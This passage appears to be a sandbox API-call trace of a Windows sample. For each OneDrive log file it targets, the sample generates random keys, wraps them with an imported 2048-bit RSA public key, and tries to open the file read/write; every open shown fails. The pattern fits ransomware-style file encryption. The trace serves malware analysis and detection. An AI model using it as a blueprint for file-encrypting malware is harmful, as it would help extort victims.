[0183.115] CryptGetKeyParam (in: hKey=0x4f81318, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.115] CryptEncrypt (in: hKey=0x4f81318, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5a70000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5a70000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.115] GetLastError () returned 0x0 [0183.115] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0183.115] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install_2017-11-10_161055_b54-c0c.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install_2017-11-10_161055_b54-c0c.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0183.115] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0183.117] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.118] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.118] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.118] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.118] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0183.119] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.120] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.120] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.120] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0183.120] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0183.122] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80e18) returned 1 [0183.122] CryptGetKeyParam (in: hKey=0x4f80e18, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.122] CryptEncrypt (in: hKey=0x4f80e18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5a80000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5a80000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.122] GetLastError () returned 0x0 [0183.122] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0183.122] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0183.124] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81018) returned 1 [0183.124] CryptGetKeyParam (in: hKey=0x4f81018, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.125] CryptEncrypt (in: hKey=0x4f81018, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5a90000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5a90000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.125] GetLastError () returned 0x0 [0183.125] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.125] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-07-12_164130_2e0-2c8.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-07-12_164130_2e0-2c8.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0183.125] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0183.127] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.127] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.128] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.128] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.128] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0183.129] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.130] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.130] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.130] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0183.130] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0183.132] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80e58) returned 1 [0183.132] CryptGetKeyParam (in: hKey=0x4f80e58, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.132] CryptEncrypt (in: hKey=0x4f80e58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5aa0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5aa0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.132] GetLastError () returned 0x0 [0183.132] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.132] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0183.135] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81358) returned 1 [0183.135] CryptGetKeyParam (in: hKey=0x4f81358, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.135] CryptEncrypt (in: hKey=0x4f81358, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5ab0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5ab0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.135] GetLastError () returned 0x0 [0183.135] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.135] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-07-13_111425_fe4-f74.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-07-13_111425_fe4-f74.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0183.135] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0183.137] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.138] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.138] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.138] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.138] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0183.139] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.140] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.140] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.140] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0183.140] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0183.142] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f810d8) returned 1 [0183.142] CryptGetKeyParam (in: hKey=0x4f810d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.142] CryptEncrypt (in: hKey=0x4f810d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5ac0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5ac0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.143] GetLastError () returned 0x0 [0183.143] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.143] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0183.145] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81158) returned 1 [0183.145] CryptGetKeyParam (in: hKey=0x4f81158, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.145] CryptEncrypt (in: hKey=0x4f81158, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5ad0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5ad0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.145] GetLastError () returned 0x0 [0183.145] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.145] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-07-14_075507_d98-d94.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-07-14_075507_d98-d94.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0183.145] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0183.147] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.148] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.148] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.148] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0183.148] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0183.149] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.150] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.150] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.150] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.150] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0183.152] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81298) returned 1 [0183.152] CryptGetKeyParam (in: hKey=0x4f81298, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.152] CryptEncrypt (in: hKey=0x4f81298, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5ae0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5ae0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.153] GetLastError () returned 0x0 [0183.153] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.153] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0183.155] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81198) returned 1 [0183.155] CryptGetKeyParam (in: hKey=0x4f81198, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.155] CryptEncrypt (in: hKey=0x4f81198, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5af0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5af0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.155] GetLastError () returned 0x0 [0183.155] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.155] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-07-19_092447_b70-3a8.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-07-19_092447_b70-3a8.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0183.155] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0183.157] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.158] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.158] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.158] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0183.158] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0183.159] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.159] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.159] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.160] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.160] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0183.162] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80ed8) returned 1 [0183.162] CryptGetKeyParam (in: hKey=0x4f80ed8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.162] CryptEncrypt (in: hKey=0x4f80ed8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.162] GetLastError () returned 0x0 [0183.162] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.162] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0183.164] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81398) returned 1 [0183.164] CryptGetKeyParam (in: hKey=0x4f81398, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.164] CryptEncrypt (in: hKey=0x4f81398, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.164] GetLastError () returned 0x0 [0183.164] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0183.164] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-07-21_115555_e74-e78.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-07-21_115555_e74-e78.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0183.165] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0183.166] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.167] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.167] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0183.167] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0183.167] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0183.169] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.169] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.169] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0183.169] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0183.169] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0183.172] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80f18) returned 1 [0183.172] CryptGetKeyParam (in: hKey=0x4f80f18, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.172] CryptEncrypt (in: hKey=0x4f80f18, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5b20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0183.172] GetLastError () returned 0x0 [0183.172] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.172] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0183.174] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f81098) returned 1 [0183.174] CryptGetKeyParam (in: hKey=0x4f81098, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0183.174] CryptEncrypt (in: hKey=0x4f81098, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5b30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0183.174] GetLastError () returned 0x0 [0183.174] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0183.174] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-11-10_161047_cc8-42c.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-11-10_161047_cc8-42c.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0183.184] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0183.186] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.187] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.187] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0183.187] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.187] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0183.188] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0183.189] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0183.189] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0183.189] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.189] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0183.191] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f80658) returned 1 [0183.192] CryptGetKeyParam (in: hKey=0x4f80658, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0183.192] CryptEncrypt (in: hKey=0x4f80658, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b40000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5b40000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0183.192] GetLastError () returned 0x0 [0183.192] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0183.192] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0183.194] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x4f80f58) returned 1 [0183.194] CryptGetKeyParam (in: hKey=0x4f80f58, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0183.194] CryptEncrypt (in: hKey=0x4f80f58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5b50000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5b50000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0183.194] GetLastError () returned 0x0 [0183.194] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0183.194] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application 